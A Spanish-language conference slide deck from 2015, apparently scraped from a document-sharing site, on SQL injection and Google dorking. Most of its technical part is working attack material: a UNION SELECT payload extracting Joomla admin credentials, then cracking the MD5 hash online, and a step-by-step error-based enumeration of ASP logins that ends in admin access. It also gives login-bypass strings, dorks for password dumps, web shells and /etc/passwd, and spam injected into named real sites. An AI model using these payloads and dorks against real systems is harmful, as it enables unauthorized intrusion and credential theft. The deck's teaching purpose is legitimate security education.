Inyección SQL

20-Marzo-
2015
II Jornadas de Prevención del
Fraude y el Cibercrimen
Intrusión Web:
Google Dorks e
Inyección Sql
2 Inyección SQL en Páginas
Web
El Hacking Ético es Delito

•
Artículo 197.3 C.P.
El que por cualquier medio o procedimiento y vulnerando las

medidas de seguridad establecidas para impedirlo, acceda sin
autorización a datos o programas informáticos contenidos en un
sistema informático o en parte del mismo o se mantenga dentro del
mismo en contra de la voluntad de quien tenga el legítimo derecho a
excluirlo, será castigado con pena de prisión de seis meses a dos
años.
Web
Libertad de Cátedra
•
La libertad de cátedra es uno de los derechos incluidos dentro
del derecho humano o fundamental de Libertad académica.
•
Es el derecho a ejercer la docencia, en el ámbito de la
Educación Superior, con absoluta libertad, es decir, es "la libertad
de enseñar y debatir sin verse limitado por doctrinas instituidas".
•
La libertad de llevar a cabo investigaciones y difundir y publicar
los resultados de las mismas, la libertad de expresar libremente
su opinión sobre la institución o el sistema en que trabaja, la
libertad ante la censura institucional y la libertad de participar en
órganos profesionales u organizaciones académicas
representativas.
Web
¿Qué es Inyección SQL?

•
Es un método de infiltración de código SQL
•
Aprovecha vulnerabilidades de diseño en código web
•
Afecta a cualquier lenguaje que use SqlQueries
•
Es uno de los métodos más usados de intrusión web
consulta := "SELECT * FROM usuarios WHERE nombre = '" + nombreUsuario + "';"
PELIGRO!!!!
Alicia'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%
RESULTADO:
SELECT * FROM usuarios WHERE nombre = 'Alicia'; DROP TABLE
usuarios; SELECT * FROM datos WHERE nombre LIKE '%';
Web
¿Qué fines alberga?

•
Casi ninguno bueno
•
Introducción de código adaware malicioso
•
Introducción de links a páginas web o publicidad para su
indexación en metabuscadores.
•
Sólo se salva el Hacking Ético
EJEMPLO:
HOT VIAGRA ILLEGAL PHILLIPINES VIAGRA CIALIS NO RX NEXT DAY
CANIDAVIAGRA GENEIRC VIAGRA SALE VIAGRA (.)(.) VIAGRA CIALIS THIRSTY
ZIP ...
Web
¿Por qué ocurre esto?

•
Mal diseño del código de consulta SQL
•
Utilización de código estándar no contrastado
•
Ausencia de actualización de directivas de Seguridad CMS
•
Inexistencia de seguimiento de la vida de la página web
•
Carencia de responsables en seguridad informática.
Web
Algunas páginas infectadas

•
Universidades
•
Páginas oficiales de partidos políticos
•
Páginas oficiales de Ayuntamientos
•
Páginas web corporativas y particulares, etc.
Web
El más
Famoso:
La
Viagra
Web
Ejemplos interesantes
Universidad de Salamanca
http://www-incyl.usal.es/index.php?option=com_directorio&task=verperfil&id=62&tipo=egalilea
Web
Universidad de Extremadura
http://matematicas.unex.es/~brequejo/
Web
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
Web
Página del Partido Socialista
http://www.psoe.es/ambito/nuevayork/forums/index.do?accion=Create&frm=451197&fgr=8250
Web
Página de Unión, Progreso y Democracia
Web
Página de Unión,
Progreso y
Democracia
Web
Página de Unión, Progreso y Democracia
<div class="runningtext_x">
<p>Instead you a recurring final step in certain no fax payday cash advance <a href="
http://cashadvance6online.com" title="no fax payday cash advance">no fax payday cash advance</a> factors of
must be having.Are you love with bad things can include your effects of increased dose of cialis <a href="
http://cialis8online.com" title="effects of increased dose of cialis">effects of increased dose of cialis</a> broken into
and submitting an loan.Third borrowers who do business to offer cash so levitra and alpha blockers <a href="
http://levitra6online.com" title="levitra and alpha blockers">levitra and alpha blockers</a> if the more concerned
about everywhere.Typically a couple weeks until convenient thing is viagra prescription <a href="
http://wwwwviagracom.com" title="viagra prescription">viagra prescription</a> necessary steps to become
unreasonable.No long waiting to almost all http://viagra5online.com <a href="http://viagra5online.com"
title="http://viagra5online.com">http://viagra5online.com</a> loan as banking information.Delay when they receive
your creditability especially attractive cash advance today <a href="http://wwwcashadvancescom.com" title="cash
advance today">cash advance today</a> for them whenever they work.Thankfully there for loan providers our
payday loans are http://wwwlevitrascom.com/ <a href="http://wwwlevitrascom.com"
title="http://wwwlevitrascom.com/">http://wwwlevitrascom.com/</a> meant to cover a fax anything.That leads to take
your payday can even less cialis <a href="http://wwwcialiscomcom.com" title="cialis">cialis</a> for the specific
generalization of extension.</p>
</div>
Web
¿Cómo se hace Sqlinjection?
•
Se buscan vulnerabilidades en los CMS más populares
•
Joomla es el “Rey de Reyes”
•
Tampoco se libra Wordpress
•
Ni Drupal, ni Moodle….
•
Cualquier sitio web en interesante; incluso el tuyo!!:
•
Es el mejor laboratorio de prácticas
•
Hay miles de páginas web esperando
Web
¿Cómo se hace Sqlinjection?
•
Se buscan páginas web de CMS no actualizadas
•
Los “ciberdelincuentes buenos”, buscan “0 Days”
•
Se inyecta código sql en los campos de captura de datos
para provocar una respuesta no contemplada:
USER | PASSWORD
Web
Ejemplos de Sqlinjection
•
Joomla 3.2.2
•
Fallo detectado en febrero de 2014
•
Afectaba al propio núcleo de Joomla
•
Por tanto funcionaba en todas las versiones anteriores
•
Buscaba el error en la validación de parámetros web
•
El error estaba tras consultar el “Weblinks-categories”
•
El objetivo es provocar que Joomla nos muestre su código
fuente para sacar lo más importante:
USER | PASSWORD
Web
Web
Una instrucción “Normal”:
http://URL/index.php/weblinks-categories?id=1
http://URL/index.php/weblinks-categories?id=X
Resultado:
SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN

`ls41c_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id`
AND `m`.`type_alias` = 'com_weblinks.categories' AND
`m`.`content_item_id` IN ( X)
Web
Web
ATENTOS AHORA:
Este error anterior nos ha mostrado una información muy valiosa:

El prefijo de las Tablas de la base de datos
...INNER JOIN `ls41c_contentitem_tag_map` ...
Como vemos, en nuestro caso es ls41c

Web
Aprovechemos este error para hacer nuestra consulta:
•
Consultamos a la Tabla de Usuarios (ls41c_users):
•
Incluiremos el comando UNION SELECT y seleccionaremos los
valores de username y password
http://URL/index.php/weblinks-categories
?id=0) union select
concat(CHAR(35),username,CHAR(35),password,CHAR(35)) from
`ls41c_users`-- )
Web
Esto genera un nuevo error:
Web
Veámoslo con detalle:
El usuario es admin
La clave está encriptada con un HASH MD5
Web
Sólo nos resta “Deshacer” el MD5:
•
Mediante la búsqueda de la cadena por internet
•
Utilizando páginas web para descifrarlo
•
www.md5online.es
Web
Otras formas de Sqlinjection

Mediante el uso de operadores en los campos de texto
En los campos de consulta de datos

En los campos de Usuario y Contraseña
En cualquier campo que permita introducir datos
Web

En la pantalla de Autenticación se nos piden los datos de acceso
El código interno que se ejecuta suele ser algo parecido a:
Select id
from tabla_usuarios
where usuario='$usuario' and pass='$pass';
Web

¿Pero qué pasa si provocamos el error?
Select id
from tabla_usuarios
where usuario=' 'or '1'='1 ' and pass=''or
'1'='1';
Web

Ejemplo
http://www.XXXX.co.in/Attendance/adminlogin.asp
Web

Introducimos la instrucción ' OR '1'='1
Web

Y “Voila!!!”
Web

Ataques a Logins ASP
Comando Dork: inurl:login.asp
En los campos de acceso tecleamos ' having 1= 1--

Web

En las páginas vulnerables se producirá el siguiente error:

Web

El Error anterior nos dio el nombre de la tabla y la columna:
Ingresamos ' group by Usuario.Clave having 1 = 1--

Web

El Error anterior nos dio un nuevo dato de la tabla y la columna:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--

Web

Ya tenemos el nombre de la Tabla y la Columna

“usuario.clave_de_acceso”:
Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

Usuario.Clave_de_Acceso having 1=1--
Web

Ya tenemos la Tabla y la Columna “usuario.password”:

Usuario.Clave_de_Acceso, Usuario.Password having 1=1--
Web

La siguiente tabla es “usuario.Tipo_De_Usuario”:

Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario
having 1=1--
Web

La siguiente tabla es “usuario.Punto_De_Captura”:

Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura having 1=1--
Web

La siguiente tabla es “Usuario.ESTATUS”:

Usuario.Clave_de_Acceso, Usuario.Password, Usuario.Tipo_de_Usuario,
Usuario.Punto_de_Captura, Usuario.ESTATUS having 1=1--
No arroja más Resultados y

vuelve al punto de Login
Web

Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from

Usuario where Clave_de_Acceso > 'a'—
Tantos 1 como tablas hemos encontrado!!

Web

Ya tenemos al Usuario de Administración:
Ingresamos ' union select 1,1,1,1,1,1,min(Password) from Usuario where

Clave_de_Acceso > 'ADMIN'--
Ya tenemos la Clave!
Web

Ya tenemos Acceso a la Web como administrador
Web
Otros parámetros de Sqlinjection

Pueden hacerse otros tipos de consultas
‘ or 1=1 – ” or 1=1–
1'or’1'=’1 or 1=1–
admin’– ‘ or a=a–
” or 0=0 – ” or “a”=”a
or 0=0 – ‘) or (‘a’='a
‘ or 0=0 # “) or (“a”=”a
” or 0=0 # hi” or “a”=”a
or 0=0 # hi” or 1=1 –
‘ or ‘x’='x hi’ or 1=1 –
” or “x”=”x hi’ or ‘a’='a
‘) or (‘x’='x hi’) or (‘a’='a
‘ or 1=1– hi”) or (“a”=”)
Web
Los «Dorks»: Google Hacking
•
¿Qué es un Dork?
•
Google dorks son combinaciones de operadores, o
comandos de búsqueda especiales que se utilizan para
extraer información valiosa o sensible desde Google.
•
También se les denomina GoogleDorks
•
Existen multitud de páginas web donde se muestran los
comandos Dork de Google
•
La más famosa:
http://www.exploit-db.com/google-dorks/
Web
Los «Dorks» más típicos
•
Site:
•
Site:nombrededominio.extension «cadena a buscar»
•
Filetype:
•
filetype:extensión «nombredelfichero»
•
Inurl:
•
Inurl:”página a buscar”
•
intitle:
•
Intitle: “témino a buscar”
•
Intext:
•
Intext:”Texto a buscar dentro de un fichero”
•
Link:
•
Link: “enlace web a buscar
Web
•
Site:
•
Site:nombrededominio.extension «cadena a buscar»
site:usal.es "azithromycin“
Nos devolverá todas las páginas pertenecientes al Dominio

Usal.es que contengan el término “azithromycin”
Web
•
Filetype:
•
filetype:extensión «nombredelfichero»
filetype:sql “# dumping data for table” “`PASSWORD` varchar”
Busca peticiones de contenido en ficheros con extensión “XXX”

Web
•
Inurl:
•
Inurl:”Texto a buscar”
inurl:webarch/mainframe.cgi
inurl:intranet filetype:doc confidential
•
La primera instrucción busca impresoras de red
•
La segunda instrucción busca documentos confidenciales
dentro de una intranet
Web
•
Intext:
•
Intext:”Texto a buscar dentro de un fichero”
filetype:php intext:"!C99Shell v. 1.0 beta"
Busca ficheros php que gestionen la Shell C99; C99 es una consola
de gestión vía Web
Web
•
Link:
•
Link: “enlace web a buscar
Link:elpais.com
Muestra un listado de páginas web que contienen el link de la

revista.
Web
•
Combinaciones
•
inurl:"/root/etc/passwd" intext:"home/*:“
•
inurl:/administrator/index.php?autologin=1
•
filetype:xls "username | password"
Web
Veamos algunos Resultados

Inyección SQL

Hochgeladen von

Dokumentinformationen

Originalbeschreibung:

Copyright

Verfügbare Formate

Dieses Dokument teilen

Dokument teilen oder einbetten

Freigabeoptionen

Stufen Sie dieses Dokument als nützlich ein?

Sind diese Inhalte unangemessen?

Copyright:

Verfügbare Formate

Inyección SQL

Hochgeladen von

Copyright:

Verfügbare Formate

20-Marzo-

El Hacking Ético es Delito

El que por cualquier medio o procedimiento y vulnerando las

¿Qué es Inyección SQL?

¿Qué fines alberga?

¿Por qué ocurre esto?

Algunas páginas infectadas

¿Cómo se hace Sqlinjection?

¿Cómo se hace Sqlinjection?

SQL=SELECT `t`.`id` FROM `ls41c_tags` AS t INNER JOIN

Este error anterior nos ha mostrado una información muy valiosa:

...INNER JOIN `ls41c_contentitem_tag_map` ...

Como vemos, en nuestro caso es ls41c

Aprovechemos este error para hacer nuestra consulta:

Otras formas de Sqlinjection

En los campos de consulta de datos

Otras formas de Sqlinjection

El código interno que se ejecuta suele ser algo parecido a:

Otras formas de Sqlinjection

Otras formas de Sqlinjection

Otras formas de Sqlinjection

Otras formas de Sqlinjection

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

En los campos de acceso tecleamos ' having 1= 1--

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

En las páginas vulnerables se producirá el siguiente error:

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

El Error anterior nos dio el nombre de la tabla y la columna:

Ingresamos ' group by Usuario.Clave having 1 = 1--

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

El Error anterior nos dio un nuevo dato de la tabla y la columna:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre having 1=1--

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

Ya tenemos el nombre de la Tabla y la Columna

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

Ya tenemos la Tabla y la Columna “usuario.password”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Tipo_De_Usuario”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

La siguiente tabla es “usuario.Punto_De_Captura”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

La siguiente tabla es “Usuario.ESTATUS”:

Ingresamos ' group by Usuario.Clave, Usuario.Nombre,

No arroja más Resultados y

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp

Ingresamos ' union select 1,1,1,1,1,1,min(Clave_de_Acceso) from

Tantos 1 como tablas hemos encontrado!!

Otras formas de Sqlinjection

Comando Dork: inurl:login.asp